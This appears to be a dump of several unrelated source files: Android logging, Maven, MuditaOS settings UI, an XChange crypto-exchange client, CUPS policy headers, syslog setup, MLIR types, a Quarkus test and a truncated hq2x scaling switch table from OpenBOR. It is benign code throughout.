420 | package com.ubergeek42.cats;
import android.util.Log;
class Printer {
void println(int priority, String tag, String msg) {
Log.println(priority, tag, msg);
}
}
| 68 |
362 | /*
* This is free and unencumbered software released into the public domain.
* See UNLICENSE.
*/
package scala_maven;
import org.apache.maven.plugins.annotations.Parameter;
public class Launcher {
String id;
String mainClass;
/** Jvm Arguments */
@Parameter protected String[] jvmArgs;
/** compiler additional arguments */
@Parameter protected String[] args;
}
| 107 |
369 | <reponame>buk7456/MuditaOS
// Copyright (c) 2017-2022, Mudita <NAME>.o.o. All rights reserved.
// For licensing, see https://github.com/mudita/MuditaOS/LICENSE.md
#include "AboutYourBellWindow.hpp"
#include "BellSettingsFrontlightWindow.hpp"
#include "BellSettingsWindow.hpp"
#include "alarm_settings/BellSettingsAlarmSettingsMenuWindow.hpp"
#include <application-bell-settings/ApplicationBellSettings.hpp>
#include <data/BellSettingsStyle.hpp>
#include <application-bell-main/ApplicationBellMain.hpp>
#include <apps-common/messages/DialogMetadataMessage.hpp>
#include <common/options/OptionBellMenu.hpp>
#include <common/popups/BellTurnOffOptionWindow.hpp>
#include <common/windows/BellFactoryReset.hpp>
#include <apps-common/windows/Dialog.hpp>
#include <service-appmgr/Constants.hpp>
#include <service-appmgr/messages/SwitchRequest.hpp>
namespace gui
{
BellSettingsWindow::BellSettingsWindow(app::ApplicationCommon *app)
: BellOptionWindow(app, gui::window::name::bellSettings)
{
addOptions(settingsOptionsList());
setListTitle(utils::translate("app_bellmain_settings"));
}
std::list<Option> BellSettingsWindow::settingsOptionsList()
{
using ActivatedCallback = std::function<bool(gui::Item &)>;
using Callback = std::function<ActivatedCallback(const std::string &window)>;
auto defaultCallback = [this](const std::string &window) {
return [window, this](gui::Item &) {
if (window.empty()) {
return false;
}
application->switchWindow(window);
return true;
};
};
auto factoryResetCallback = [this](const std::string &window) {
auto actionCallback = [this]() {
auto switchRequest = std::make_unique<app::manager::SwitchRequest>(
service::name::appmgr, app::applicationBellName, gui::BellFactoryReset::name, nullptr);
application->bus.sendUnicast(std::move(switchRequest), service::name::appmgr);
return true;
};
return [this, actionCallback, window](gui::Item &) {
auto metaData = std::make_unique<gui::DialogMetadataMessage>(
gui::DialogMetadata{utils::translate("app_bell_settings_factory_reset"),
"",
utils::translate("app_bell_settings_display_factory_reset_confirmation"),
"",
actionCallback});
application->switchWindow(window, gui::ShowMode::GUI_SHOW_INIT, std::move(metaData));
return true;
};
};
std::list<gui::Option> settingsOptionList;
auto addWinSettings = [&](const UTF8 &name, const std::string &window, Callback &&callback) {
settingsOptionList.emplace_back(std::make_unique<gui::option::OptionBellMenu>(
name,
callback(window),
[=](gui::Item &item) {
// put focus change callback here
return true;
},
this));
};
addWinSettings(
utils::translate("app_bell_settings_layout"), gui::window::name::bellSettingsLayout, defaultCallback);
addWinSettings(utils::translate("app_bell_settings_alarm_settings"),
BellSettingsAlarmSettingsMenuWindow::name,
defaultCallback);
addWinSettings(
utils::translate("app_bell_settings_bedtime_tone"), window::name::bellSettingsBedtimeTone, defaultCallback);
addWinSettings(
utils::translate("app_bell_settings_time_units"), window::name::bellSettingsTimeUnits, defaultCallback);
addWinSettings(
utils::translate("app_bell_settings_language"), gui::window::name::bellSettingsLanguage, defaultCallback);
addWinSettings(
utils::translate("app_bell_settings_frontlight"), gui::BellSettingsFrontlightWindow::name, defaultCallback);
addWinSettings(utils::translate("app_bell_settings_about"), gui::AboutYourBellWindow::name, defaultCallback);
addWinSettings(
utils::translate("app_bell_settings_turn_off"), BellTurnOffOptionWindow::defaultName, defaultCallback);
addWinSettings(utils::translate("app_bell_settings_factory_reset"),
gui::window::name::bellSettingsFactoryReset,
factoryResetCallback);
return settingsOptionList;
}
} // namespace gui
| 2,020 |
1,909 | package org.knowm.xchange.blockchain.service;
import org.knowm.xchange.blockchain.BlockchainAdapters;
import org.knowm.xchange.blockchain.BlockchainAuthenticated;
import org.knowm.xchange.blockchain.BlockchainExchange;
import org.knowm.xchange.blockchain.dto.BlockchainException;
import org.knowm.xchange.blockchain.dto.account.*;
import org.knowm.xchange.blockchain.dto.account.BlockchainSymbol;
import org.knowm.xchange.blockchain.params.BlockchainWithdrawalParams;
import org.knowm.xchange.client.ResilienceRegistries;
import org.knowm.xchange.currency.Currency;
import org.knowm.xchange.currency.CurrencyPair;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import static org.knowm.xchange.blockchain.BlockchainConstants.*;
public abstract class BlockchainAccountServiceRaw extends BlockchainBaseService{
protected BlockchainAccountServiceRaw(BlockchainExchange exchange, BlockchainAuthenticated blockchainApi, ResilienceRegistries resilienceRegistries) {
super(exchange, blockchainApi, resilienceRegistries);
}
protected Map<String, List<BlockchainAccountInformation>> getAccountInformation() throws IOException, BlockchainException {
return decorateApiCall(this.blockchainApi::getAccountInformation)
.withRetry(retry(GET_ACCOUNT_INFORMATION))
.withRateLimiter(rateLimiter(ENDPOINT_RATE_LIMIT))
.call();
}
protected BlockchainWithdrawal postWithdrawFunds(BlockchainWithdrawalParams blockchainWithdrawalRequest) throws IOException, BlockchainException {
return decorateApiCall(() -> this.blockchainApi.postWithdrawFunds(blockchainWithdrawalRequest))
.withRetry(retry(GET_WITHDRAWAL))
.withRateLimiter(rateLimiter(ENDPOINT_RATE_LIMIT))
.call();
}
protected BlockchainDeposit getDepositAddress(Currency currency) throws IOException, BlockchainException {
return decorateApiCall(() -> this.blockchainApi.getDepositAddress(currency.getCurrencyCode()))
.withRetry(retry(GET_DEPOSIT_ADDRESS))
.withRateLimiter(rateLimiter(ENDPOINT_RATE_LIMIT))
.call();
}
public BlockchainFees getFees() throws IOException {
return decorateApiCall(this.blockchainApi::getFees)
.withRetry(retry(GET_FEES))
.withRateLimiter(rateLimiter(ENDPOINT_RATE_LIMIT))
.call();
}
public List<BlockchainDeposits> depositHistory(Long startTime, Long endTime) throws IOException {
return decorateApiCall(() -> this.blockchainApi.depositHistory(startTime, endTime))
.withRetry(retry(GET_DEPOSIT_HISTORY))
.withRateLimiter(rateLimiter(ENDPOINT_RATE_LIMIT))
.call();
}
public List<BlockchainWithdrawal> withdrawHistory(Long startTime, Long endTime) throws IOException {
return decorateApiCall(() -> this.blockchainApi.getWithdrawFunds(startTime, endTime))
.withRetry(retry(GET_WITHDRAWAL_HISTORY))
.withRateLimiter(rateLimiter(ENDPOINT_RATE_LIMIT))
.call();
}
public Map<String, BlockchainSymbol> getSymbols() throws IOException {
return decorateApiCall(this.blockchainApi::getSymbols)
.withRetry(retry(GET_SYMBOLS))
.withRateLimiter(rateLimiter(ENDPOINT_RATE_LIMIT))
.call();
}
public List<CurrencyPair> getExchangeSymbols() throws IOException {
List<CurrencyPair> currencyPairs = new ArrayList<>();
Map<String, BlockchainSymbol> symbol = this.getSymbols();
for (Map.Entry<String, BlockchainSymbol> entry : symbol.entrySet()) {
currencyPairs.add(BlockchainAdapters.toCurrencyPairBySymbol(entry.getValue()));
}
return currencyPairs;
}
}
| 1,565 |
6,387 | {
"name": "iOS",
"description": "Build and test an iOS application using xcodebuild and any available iPhone simulator.",
"iconName": "xcode",
"categories": [
"Continuous integration",
"iOS",
"Xcode"
]
}
| 100 |
32,819 | {
"data" : [ {
"type" : "capabilities",
"id" : "ACCESS_WIFI_INFORMATION",
"attributes" : {
"supportsWildcard" : false,
"supportedSDKs" : [ {
"name" : "IOS",
"displayValue" : "iOS"
}, {
"name" : "WATCH_OS",
"displayValue" : "watchOS"
} ],
"distributionTypes" : [ {
"name" : "DEVELOPMENT",
"displayValue" : "Development"
}, {
"name" : "STORE",
"displayValue" : "App Store"
}, {
"name" : "AD_HOC",
"displayValue" : "Ad hoc"
} ],
"requestedCustomCapabilities" : null,
"bundleId" : null,
"enabledByDefault" : false,
"referenceType" : null,
"description" : "Access Wifi Information allows an app to obtain information about the currently connected WiFi network.",
"optional" : true,
"displaySupportedSDKs" : false,
"imageUrl" : "/assets/elements/icons/cip/capabilities/access-wifi.svg",
"name" : "Access WiFi Information",
"isPublic" : true,
"capabilityType" : "capability",
"responseId" : "7d4f0811-562e-445b-a6ea-826b22aa01d4"
},
"links" : {
"self" : "https://developer.apple.com:443/services-account/v1/capabilities/ACCESS_WIFI_INFORMATION"
}
},
{
"type" : "capabilities",
"id" : "APP_ATTEST",
"attributes" : {
"supportsWildcard" : false,
"supportedSDKs" : [ {
"name" : "TV_OS",
"displayValue" : "tvOS"
}, {
"name" : "IOS",
"displayValue" : "iOS"
}, {
"name" : "WATCH_OS",
"displayValue" : "watchOS"
} ],
"distributionTypes" : [ {
"name" : "DEVELOPMENT",
"displayValue" : "Development"
}, {
"name" : "STORE",
"displayValue" : "App Store"
}, {
"name" : "AD_HOC",
"displayValue" : "Ad hoc"
} ],
"requestedCustomCapabilities" : null,
"bundleId" : null,
"enabledByDefault" : false,
"referenceType" : null,
"description" : "App Attest allows you to verify that an iOS app connecting to your server is legitimate, by signing the app identity upon connection.",
"optional" : true,
"displaySupportedSDKs" : false,
"imageUrl" : "/assets/elements/icons/cip/capabilities/portal-appattest.svg",
"name" : "App Attest",
"isPublic" : true,
"capabilityType" : "capability",
"responseId" : "7d4f0811-562e-445b-a6ea-826b22aa01d4"
},
"links" : {
"self" : "https://developer.apple.com:443/services-account/v1/capabilities/APP_ATTEST"
}
} ]
} | 1,228 |
463 | /*
* Policy definitions for the CUPS scheduler.
*
* Copyright 2007-2010 by Apple Inc.
* Copyright 1997-2005 by Easy Software Products, all rights reserved.
*
* Licensed under Apache License v2.0. See the file "LICENSE" for more information.
*/
/*
* Policy structure...
*/
typedef struct
{
char *name; /* Policy name */
cups_array_t *job_access, /* Private users/groups for jobs */
*job_attrs, /* Private attributes for jobs */
*sub_access, /* Private users/groups for subscriptions */
*sub_attrs, /* Private attributes for subscriptions */
*ops; /* Operations */
} cupsd_policy_t;
typedef struct cupsd_printer_s cupsd_printer_t;
/*
* Globals...
*/
VAR cups_array_t *Policies VALUE(NULL);
/* Policies */
/*
* Prototypes...
*/
extern cupsd_policy_t *cupsdAddPolicy(const char *policy);
extern cupsd_location_t *cupsdAddPolicyOp(cupsd_policy_t *p,
cupsd_location_t *po,
ipp_op_t op);
extern http_status_t cupsdCheckPolicy(cupsd_policy_t *p, cupsd_client_t *con,
const char *owner);
extern void cupsdDeleteAllPolicies(void);
extern cupsd_policy_t *cupsdFindPolicy(const char *policy);
extern cupsd_location_t *cupsdFindPolicyOp(cupsd_policy_t *p, ipp_op_t op);
extern cups_array_t *cupsdGetPrivateAttrs(cupsd_policy_t *p,
cupsd_client_t *con,
cupsd_printer_t *printer,
const char *owner);
| 617 |
412 | <gh_stars>100-1000
/*
Copyright 2015 Google Inc. All rights reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
#include "libcl/clp.h"
#include <stdlib.h>
#include <string.h>
/**
* @brief Configure logging to use syslog,
* the traditional Unix logging mechanism for unattended
* servers.
*
* This function can be called at any time.
* Usually, it should be called when a program transits
* from its start-up phase, where a human operator might be
* expected to watch standard error output, to a "background"
* phase where nobody is watching.
*
* @warning
*
* Sylog has various interesting concurrency issues that
* this library, if configured to use syslog, inherits.
* For example, only one identity can be used with syslog
* per application (different libraries cannot log
* under different identities), and how it behaves in a multithreaded
* environment is anyone's guess.
* If this becomes an issue, a mutex should be added within
* this library, and used to log around calls to openlog() and
* syslog().
*
* @param cl a log handle created using cl_create().
* @param ident the syslog "identity", typically the application name
* (without a path). It may be included in the syslog messages.
* @param facility one of a small set of predefined "facilities"
* (roughly, system components) that the application should
* log as. See the manual page for syslog(3) for a list.
*
*/
void cl_syslog(cl_handle *cl, char const *ident, int facility) {
cl->cl_syslog_open = 0;
cl->cl_syslog_facility = facility;
if (ident != NULL &&
(cl->cl_syslog_ident = malloc(strlen(ident) + 1)) != NULL)
strcpy(cl->cl_syslog_ident, ident);
cl->cl_write = cl_write_syslog;
cl->cl_write_data = cl;
}
| 637 |
4,535 | // Copyright 2019, Intel Corporation
#pragma once
#include "mlir/IR/Types.h"
namespace pmlc::dialect::tile {
namespace TypeKinds {
enum Kind {
AffineMap = mlir::Type::Kind::FIRST_PRIVATE_EXPERIMENTAL_2_TYPE,
AffineTensorMap,
AffineConstraints,
String,
};
}
class AffineTensorMapType : public mlir::Type::TypeBase<AffineTensorMapType, mlir::Type> {
public:
using Base::Base;
static AffineTensorMapType get(mlir::MLIRContext* context);
static bool kindof(unsigned kind) { return kind == TypeKinds::AffineTensorMap; }
};
class AffineMapType : public mlir::Type::TypeBase<AffineMapType, mlir::Type> {
public:
using Base::Base;
static AffineMapType get(mlir::MLIRContext* context);
static bool kindof(unsigned kind) { return kind == TypeKinds::AffineMap; }
};
class AffineConstraintsType : public mlir::Type::TypeBase<AffineConstraintsType, mlir::Type> {
public:
using Base::Base;
static AffineConstraintsType get(mlir::MLIRContext* context);
static bool kindof(unsigned kind) { return kind == TypeKinds::AffineConstraints; }
};
class StringType : public mlir::Type::TypeBase<StringType, mlir::Type> {
public:
using Base::Base;
static StringType get(mlir::MLIRContext* context);
static bool kindof(unsigned kind) { return kind == TypeKinds::String; }
};
} // namespace pmlc::dialect::tile
| 453 |
10,225 | package io.quarkus.it.spring.boot;
import static io.restassured.RestAssured.when;
import static org.hamcrest.Matchers.equalTo;
import static org.hamcrest.Matchers.is;
import org.junit.jupiter.api.Test;
import io.quarkus.test.junit.QuarkusTest;
@QuarkusTest
class ClassPropertiesTest {
@Test
void shouldHaveValue() {
when().get("/class/value")
.then()
.body(is(equalTo("class-value")));
}
@Test
void shouldHaveAnotherClassValue() {
when().get("/class/anotherClass/value")
.then()
.body(is(equalTo("true")));
}
}
| 284 |
600 | <reponame>christianhaitian/openbor<filename>engine/source/gfxlib/hq2x.h
/*
* OpenBOR - http://www.chronocrash.com
* -----------------------------------------------------------------------
* All rights reserved, see LICENSE in OpenBOR root for details.
*
* Copyright (c) 2004 - 2014 OpenBOR Team
*/
case 0 :
case 1 :
case 4 :
case 5 :
case 32 :
case 33 :
case 36 :
case 37 :
case 128 :
case 129 :
case 132 :
case 133 :
case 160 :
case 161 :
case 164 :
case 165 :
{
P0 = I211(4, 1, 3);
P1 = I211(4, 1, 5);
P2 = I211(4, 3, 7);
P3 = I211(4, 5, 7);
}
break;
case 2 :
case 34 :
case 130 :
case 162 :
{
P0 = I31(4, 0);
P1 = I31(4, 2);
P2 = I211(4, 3, 7);
P3 = I211(4, 5, 7);
}
break;
case 3 :
case 35 :
case 131 :
case 163 :
{
P0 = I31(4, 3);
P1 = I31(4, 2);
P2 = I211(4, 3, 7);
P3 = I211(4, 5, 7);
}
break;
case 6 :
case 38 :
case 134 :
case 166 :
{
P0 = I31(4, 0);
P1 = I31(4, 5);
P2 = I211(4, 3, 7);
P3 = I211(4, 5, 7);
}
break;
case 7 :
case 39 :
case 135 :
case 167 :
{
P0 = I31(4, 3);
P1 = I31(4, 5);
P2 = I211(4, 3, 7);
P3 = I211(4, 5, 7);
}
break;
case 8 :
case 12 :
case 136 :
case 140 :
{
P0 = I31(4, 0);
P1 = I211(4, 1, 5);
P2 = I31(4, 6);
P3 = I211(4, 5, 7);
}
break;
case 9 :
case 13 :
case 137 :
case 141 :
{
P0 = I31(4, 1);
P1 = I211(4, 1, 5);
P2 = I31(4, 6);
P3 = I211(4, 5, 7);
}
break;
case 10 :
case 138 :
{
P1 = I31(4, 2);
P2 = I31(4, 6);
P3 = I211(4, 5, 7);
if (MUL)
{
P0 = I31(4, 0);
}
else
{
P0 = I211(4, 1, 3);
}
}
break;
case 11 :
case 139 :
{
P1 = I31(4, 2);
P2 = I31(4, 6);
P3 = I211(4, 5, 7);
if (MUL)
{
P0 = IC(4);
}
else
{
P0 = I211(4, 1, 3);
}
}
break;
case 14 :
case 142 :
{
P2 = I31(4, 6);
P3 = I211(4, 5, 7);
if (MUL)
{
P0 = I31(4, 0);
P1 = I31(4, 5);
}
else
{
P0 = I332(1, 3, 4);
P1 = I521(4, 1, 5);
}
}
break;
case 15 :
case 143 :
{
P2 = I31(4, 6);
P3 = I211(4, 5, 7);
if (MUL)
{
P0 = IC(4);
P1 = I31(4, 5);
}
else
{
P0 = I332(1, 3, 4);
P1 = I521(4, 1, 5);
}
}
break;
case 16 :
case 17 :
case 48 :
case 49 :
{
P0 = I211(4, 1, 3);
P1 = I31(4, 2);
P2 = I211(4, 3, 7);
P3 = I31(4, 8);
}
break;
case 18 :
case 50 :
{
P0 = I31(4, 0);
P2 = I211(4, 3, 7);
P3 = I31(4, 8);
if (MUR)
{
P1 = I31(4, 2);
}
else
{
P1 = I211(4, 1, 5);
}
}
break;
case 19 :
case 51 :
{
P2 = I211(4, 3, 7);
P3 = I31(4, 8);
if (MUR)
{
P0 = I31(4, 3);
P1 = I31(4, 2);
}
else
{
P0 = I521(4, 1, 3);
P1 = I332(1, 5, 4);
}
}
break;
case 20 :
case 21 :
case 52 :
case 53 :
{
P0 = I211(4, 1, 3);
P1 = I31(4, 1);
P2 = I211(4, 3, 7);
P3 = I31(4, 8);
}
break;
case 22 :
case 54 :
{
P0 = I31(4, 0);
P2 = I211(4, 3, 7);
P3 = I31(4, 8);
if (MUR)
{
P1 = IC(4);
}
else
{
P1 = I211(4, 1, 5);
}
}
break;
case 23 :
case 55 :
{
P2 = I211(4, 3, 7);
P3 = I31(4, 8);
if (MUR)
{
P0 = I31(4, 3);
P1 = IC(4);
}
else
{
P0 = I521(4, 1, 3);
P1 = I332(1, 5, 4);
}
}
break;
case 24 :
case 66 :
{
P0 = I31(4, 0);
P1 = I31(4, 2);
P2 = I31(4, 6);
P3 = I31(4, 8);
}
break;
case 25 :
{
P0 = I31(4, 1);
P1 = I31(4, 2);
P2 = I31(4, 6);
P3 = I31(4, 8);
}
break;
case 26 :
case 31 :
case 95 :
{
P2 = I31(4, 6);
P3 = I31(4, 8);
if (MUL)
{
P0 = IC(4);
}
else
{
P0 = I211(4, 1, 3);
}
if (MUR)
{
P1 = IC(4);
}
else
{
P1 = I211(4, 1, 5);
}
}
break;
case 27 :
case 75 :
{
P1 = I31(4, 2);
P2 = I31(4, 6);
P3 = I31(4, 8);
if (MUL)
{
P0 = IC(4);
}
else
{
P0 = I211(4, 1, 3);
}
}
break;
case 28 :
{
P0 = I31(4, 0);
P1 = I31(4, 1);
P2 = I31(4, 6);
P3 = I31(4, 8);
}
break;
case 29 :
{
P0 = I31(4, 1);
P1 = I31(4, 1);
P2 = I31(4, 6);
P3 = I31(4, 8);
}
break;
case 30 :
case 86 :
{
P0 = I31(4, 0);
P2 = I31(4, 6);
P3 = I31(4, 8);
if (MUR)
{
P1 = IC(4);
}
else
{
P1 = I211(4, 1, 5);
}
}
break;
case 40 :
case 44 :
case 168 :
case 172 :
{
P0 = I31(4, 0);
P1 = I211(4, 1, 5);
P2 = I31(4, 7);
P3 = I211(4, 5, 7);
}
break;
case 41 :
case 45 :
case 169 :
case 173 :
{
P0 = I31(4, 1);
P1 = I211(4, 1, 5);
P2 = I31(4, 7);
P3 = I211(4, 5, 7);
}
break;
case 42 :
case 170 :
{
P1 = I31(4, 2);
P3 = I211(4, 5, 7);
if (MUL)
{
P0 = I31(4, 0);
P2 = I31(4, 7);
}
else
{
P0 = I332(1, 3, 4);
P2 = I521(4, 3, 7);
}
}
break;
case 43 :
case 171 :
{
P1 = I31(4, 2);
P3 = I211(4, 5, 7);
if (MUL)
{
P0 = IC(4);
P2 = I31(4, 7);
}
else
{
P0 = I332(1, 3, 4);
P2 = I521(4, 3, 7);
}
}
break;
case 46 :
case 174 :
{
P1 = I31(4, 5);
P2 = I31(4, 7);
P3 = I211(4, 5, 7);
if (MUL)
{
P0 = I31(4, 0);
}
else
{
P0 = I611(4, 1, 3);
}
}
break;
case 47 :
case 175 :
{
P1 = I31(4, 5);
P2 = I31(4, 7);
P3 = I211(4, 5, 7);
if (MUL)
{
P0 = IC(4);
}
else
{
P0 = I1411(4, 1, 3);
}
}
break;
case 56 :
{
P0 = I31(4, 0);
P1 = I31(4, 2);
P2 = I31(4, 7);
P3 = I31(4, 8);
}
break;
case 57 :
{
P0 = I31(4, 1);
P1 = I31(4, 2);
P2 = I31(4, 7);
P3 = I31(4, 8);
}
break;
case 58 :
{
P2 = I31(4, 7);
P3 = I31(4, 8);
if (MUL)
{
P0 = I31(4, 0);
}
else
{
P0 = I611(4, 1, 3);
}
if (MUR)
{
P1 = I31(4, 2);
}
else
{
P1 = I611(4, 1, 5);
}
}
break;
case 59 :
{
P2 = I31(4, 7);
P3 = I31(4, 8);
if (MUL)
{
P0 = IC(4);
}
else
{
P0 = I211(4, 1, 3);
}
if (MUR)
{
P1 = I31(4, 2);
}
else
{
P1 = I611(4, 1, 5);
}
}
break;
case 60 :
{
P0 = I31(4, 0);
P1 = I31(4, 1);
P2 = I31(4, 7);
P3 = I31(4, 8);
}
break;
case 61 :
{
P0 = I31(4, 1);
P1 = I31(4, 1);
P2 = I31(4, 7);
P3 = I31(4, 8);
}
break;
case 62 :
{
P0 = I31(4, 0);
P2 = I31(4, 7);
P3 = I31(4, 8);
if (MUR)
{
P1 = IC(4);
}
else
{
P1 = I211(4, 1, 5);
}
}
break;
case 63 :
{
P2 = I31(4, 7);
P3 = I31(4, 8);
if (MUL)
{
P0 = IC(4);
}
else
{
P0 = I1411(4, 1, 3);
}
if (MUR)
{
P1 = IC(4);
}
else
{
P1 = I211(4, 1, 5);
}
}
break;
case 64 :
case 65 :
case 68 :
case 69 :
{
P0 = I211(4, 1, 3);
P1 = I211(4, 1, 5);
P2 = I31(4, 6);
P3 = I31(4, 8);
}
break;
case 67 :
{
P0 = I31(4, 3);
P1 = I31(4, 2);
P2 = I31(4, 6);
P3 = I31(4, 8);
}
break;
case 70 :
{
P0 = I31(4, 0);
P1 = I31(4, 5);
P2 = I31(4, 6);
P3 = I31(4, 8);
}
break;
case 71 :
{
P0 = I31(4, 3);
P1 = I31(4, 5);
P2 = I31(4, 6);
P3 = I31(4, 8);
}
break;
case 72 :
case 76 :
{
P0 = I31(4, 0);
P1 = I211(4, 1, 5);
P3 = I31(4, 8);
if (MDL)
{
P2 = I31(4, 6);
}
else
{
P2 = I211(4, 3, 7);
}
}
break;
case 73 :
case 77 :
{
P1 = I211(4, 1, 5);
P3 = I31(4, 8);
if (MDL)
{
P0 = I31(4, 1);
P2 = I31(4, 6);
}
else
{
P0 = I521(4, 3, 1);
P2 = I332(3, 7, 4);
}
}
break;
case 74 :
case 107 :
case 123 :
{
P1 = I31(4, 2);
P3 = I31(4, 8);
if (MDL)
{
P2 = IC(4);
}
else
{
P2 = I211(4, 3, 7);
}
if (MUL)
{
P0 = IC(4);
}
else
{
P0 = I211(4, 1, 3);
}
}
break;
case 78 :
{
P1 = I31(4, 5);
P3 = I31(4, 8);
if (MDL)
{
P2 = I31(4, 6);
}
else
{
P2 = I611(4, 3, 7);
}
if (MUL)
{
P0 = I31(4, 0);
}
else
{
P0 = I611(4, 1, 3);
}
}
break;
case 79 :
{
P1 = I31(4, 5);
P3 = I31(4, 8);
if (MDL)
{
P2 = I31(4, 6);
}
else
{
P2 = I611(4, 3, 7);
}
if (MUL)
{
P0 = IC(4);
}
else
{
P0 = I211(4, 1, 3);
}
}
break;
case 80 :
case 81 :
{
P0 = I211(4, 1, 3);
P1 = I31(4, 2);
P2 = I31(4, 6);
if (MDR)
{
P3 = I31(4, 8);
}
else
{
P3 = I211(4, 5, 7);
}
}
break;
case 82 :
case 214 :
case 222 :
{
P0 = I31(4, 0);
P2 = I31(4, 6);
if (MDR)
{
P3 = IC(4);
}
else
{
P3 = I211(4, 5, 7);
}
if (MUR)
{
P1 = IC(4);
}
else
{
P1 = I211(4, 1, 5);
}
}
break;
case 83 :
{
P0 = I31(4, 3);
P2 = I31(4, 6);
if (MDR)
{
P3 = I31(4, 8);
}
else
{
P3 = I611(4, 5, 7);
}
if (MUR)
{
P1 = I31(4, 2);
}
else
{
P1 = I611(4, 1, 5);
}
}
break;
case 84 :
case 85 :
{
P0 = I211(4, 1, 3);
P2 = I31(4, 6);
if (MDR)
{
P1 = I31(4, 1);
P3 = I31(4, 8);
}
else
{
P1 = I521(4, 5, 1);
P3 = I332(5, 7, 4);
}
}
break;
case 87 :
{
P0 = I31(4, 3);
P2 = I31(4, 6);
if (MDR)
{
P3 = I31(4, 8);
}
else
{
P3 = I611(4, 5, 7);
}
if (MUR)
{
P1 = IC(4);
}
else
{
P1 = I211(4, 1, 5);
}
}
break;
case 88 :
case 248 :
case 250 :
{
P0 = I31(4, 0);
P1 = I31(4, 2);
if (MDL)
{
P2 = IC(4);
}
else
{
P2 = I211(4, 3, 7);
}
if (MDR)
{
P3 = IC(4);
}
else
{
P3 = I211(4, 5, 7);
}
}
break;
case 89 :
{
P0 = I31(4, 1);
P1 = I31(4, 2);
if (MDL)
{
P2 = I31(4, 6);
}
else
{
P2 = I611(4, 3, 7);
}
if (MDR)
{
P3 = I31(4, 8);
}
else
{
P3 = I611(4, 5, 7);
}
}
break;
case 90 :
{
if (MDL)
{
P2 = I31(4, 6);
}
else
{
P2 = I611(4, 3, 7);
}
if (MDR)
{
P3 = I31(4, 8);
}
else
{
P3 = I611(4, 5, 7);
}
if (MUL)
{
P0 = I31(4, 0);
}
else
{
P0 = I611(4, 1, 3);
}
if (MUR)
{
P1 = I31(4, 2);
}
else
{
P1 = I611(4, 1, 5);
}
}
break;
case 91 :
{
if (MDL)
{
P2 = I31(4, 6);
}
else
{
P2 = I611(4, 3, 7);
}
if (MDR)
{
P3 = I31(4, 8);
}
else
{
P3 = I611(4, 5, 7);
}
if (MUL)
{
P0 = IC(4);
}
else
{
P0 = I211(4, 1, 3);
}
if (MUR)
{
P1 = I31(4, 2);
}
else
{
P1 = I611(4, 1, 5);
}
}
break;
case 92 :
{
P0 = I31(4, 0);
P1 = I31(4, 1);
if (MDL)
{
P2 = I31(4, 6);
}
else
{
P2 = I611(4, 3, 7);
}
if (MDR)
{
P3 = I31(4, 8);
}
else
{
P3 = I611(4, 5, 7);
}
}
break;
case 93 :
{
P0 = I31(4, 1);
P1 = I31(4, 1);
if (MDL)
{
P2 = I31(4, 6);
}
else
{
P2 = I611(4, 3, 7);
}
if (MDR)
{
P3 = I31(4, 8);
}
else
{
P3 = I611(4, 5, 7);
}
}
break;
case 94 :
{
if (MDL)
{
P2 = I31(4, 6);
}
else
{
P2 = I611(4, 3, 7);
}
if (MDR)
{
P3 = I31(4, 8);
}
else
{
P3 = I611(4, 5, 7);
}
if (MUL)
{
P0 = I31(4, 0);
}
else
{
P0 = I611(4, 1, 3);
}
if (MUR)
{
P1 = IC(4);
}
else
{
P1 = I211(4, 1, 5);
}
}
break;
case 96 :
case 97 :
case 100 :
case 101 :
{
P0 = I211(4, 1, 3);
P1 = I211(4, 1, 5);
P2 = I31(4, 3);
P3 = I31(4, 8);
}
break;
case 98 :
{
P0 = I31(4, 0);
P1 = I31(4, 2);
P2 = I31(4, 3);
P3 = I31(4, 8);
}
break;
case 99 :
{
P0 = I31(4, 3);
P1 = I31(4, 2);
P2 = I31(4, 3);
P3 = I31(4, 8);
}
break;
case 102 :
{
P0 = I31(4, 0);
P1 = I31(4, 5);
P2 = I31(4, 3);
P3 = I31(4, 8);
}
break;
case 103 :
{
P0 = I31(4, 3);
P1 = I31(4, 5);
P2 = I31(4, 3);
P3 = I31(4, 8);
}
break;
case 104 :
case 108 :
{
P0 = I31(4, 0);
P1 = I211(4, 1, 5);
P3 = I31(4, 8);
if (MDL)
{
P2 = IC(4);
}
else
{
P2 = I211(4, 3, 7);
}
}
break;
case 105 :
case 109 :
{
P1 = I211(4, 1, 5);
P3 = I31(4, 8);
if (MDL)
{
P0 = I31(4, 1);
P2 = IC(4);
}
else
{
P0 = I521(4, 3, 1);
P2 = I332(3, 7, 4);
}
}
break;
case 106 :
case 120 :
{
P0 = I31(4, 0);
P1 = I31(4, 2);
P3 = I31(4, 8);
if (MDL)
{
P2 = IC(4);
}
else
{
P2 = I211(4, 3, 7);
}
}
break;
case 110 :
{
P0 = I31(4, 0);
P1 = I31(4, 5);
P3 = I31(4, 8);
if (MDL)
{
P2 = IC(4);
}
else
{
P2 = I211(4, 3, 7);
}
}
break;
case 111 :
{
P1 = I31(4, 5);
P3 = I31(4, 8);
if (MDL)
{
P2 = IC(4);
}
else
{
P2 = I211(4, 3, 7);
}
if (MUL)
{
P0 = IC(4);
}
else
{
P0 = I1411(4, 1, 3);
}
}
break;
case 112 :
case 113 :
{
P0 = I211(4, 1, 3);
P1 = I31(4, 2);
if (MDR)
{
P2 = I31(4, 3);
P3 = I31(4, 8);
}
else
{
P2 = I521(4, 7, 3);
P3 = I332(5, 7, 4);
}
}
break;
case 114 :
{
P0 = I31(4, 0);
P2 = I31(4, 3);
if (MDR)
{
P3 = I31(4, 8);
}
else
{
P3 = I611(4, 5, 7);
}
if (MUR)
{
P1 = I31(4, 2);
}
else
{
P1 = I611(4, 1, 5);
}
}
break;
case 115 :
{
P0 = I31(4, 3);
P2 = I31(4, 3);
if (MDR)
{
P3 = I31(4, 8);
}
else
{
P3 = I611(4, 5, 7);
}
if (MUR)
{
P1 = I31(4, 2);
}
else
{
P1 = I611(4, 1, 5);
}
}
break;
case 116 :
case 117 :
{
P0 = I211(4, 1, 3);
P1 = I31(4, 1);
P2 = I31(4, 3);
if (MDR)
{
P3 = I31(4, 8);
}
else
{
P3 = I611(4, 5, 7);
}
}
break;
case 118 :
{
P0 = I31(4, 0);
